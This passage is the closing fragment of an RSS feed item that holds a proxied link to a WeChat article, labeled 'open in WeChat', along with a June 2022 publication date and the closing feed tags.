<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b0fbf24f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483684%26idx%3D1%26sn%3D7c6915f385bb55b4092c0d1861e2dde5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jun 2022 14:24:00 +0800</pubDate>
    </item>
  </channel>
</rss>